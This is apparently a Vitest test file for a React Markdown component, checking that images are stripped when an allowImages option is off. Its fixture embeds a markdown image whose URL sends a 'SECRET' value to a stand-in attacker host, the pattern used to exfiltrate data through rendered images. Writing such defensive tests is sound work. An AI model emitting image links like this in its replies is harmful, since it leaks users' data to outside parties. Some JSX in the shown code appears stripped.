import { describe, it, expect } from "vitest"; import { render } from "@testing-library/react"; import { Markdown } from "./markdown"; const md = "hello ![alt text](https://attacker.example/?d=SECRET) world"; describe("Markdown images", () => { it("renders an by default (SOP pages unchanged)", () => { const { container } = render({md}); expect(container.querySelector("img")).not.toBeNull(); }); it("renders no when allowImages is false", () => { const { container } = render({md}); expect(container.querySelector("img")).toBeNull(); expect(container.textContent).toContain("hello"); expect(container.textContent).not.toContain("SECRET"); }); });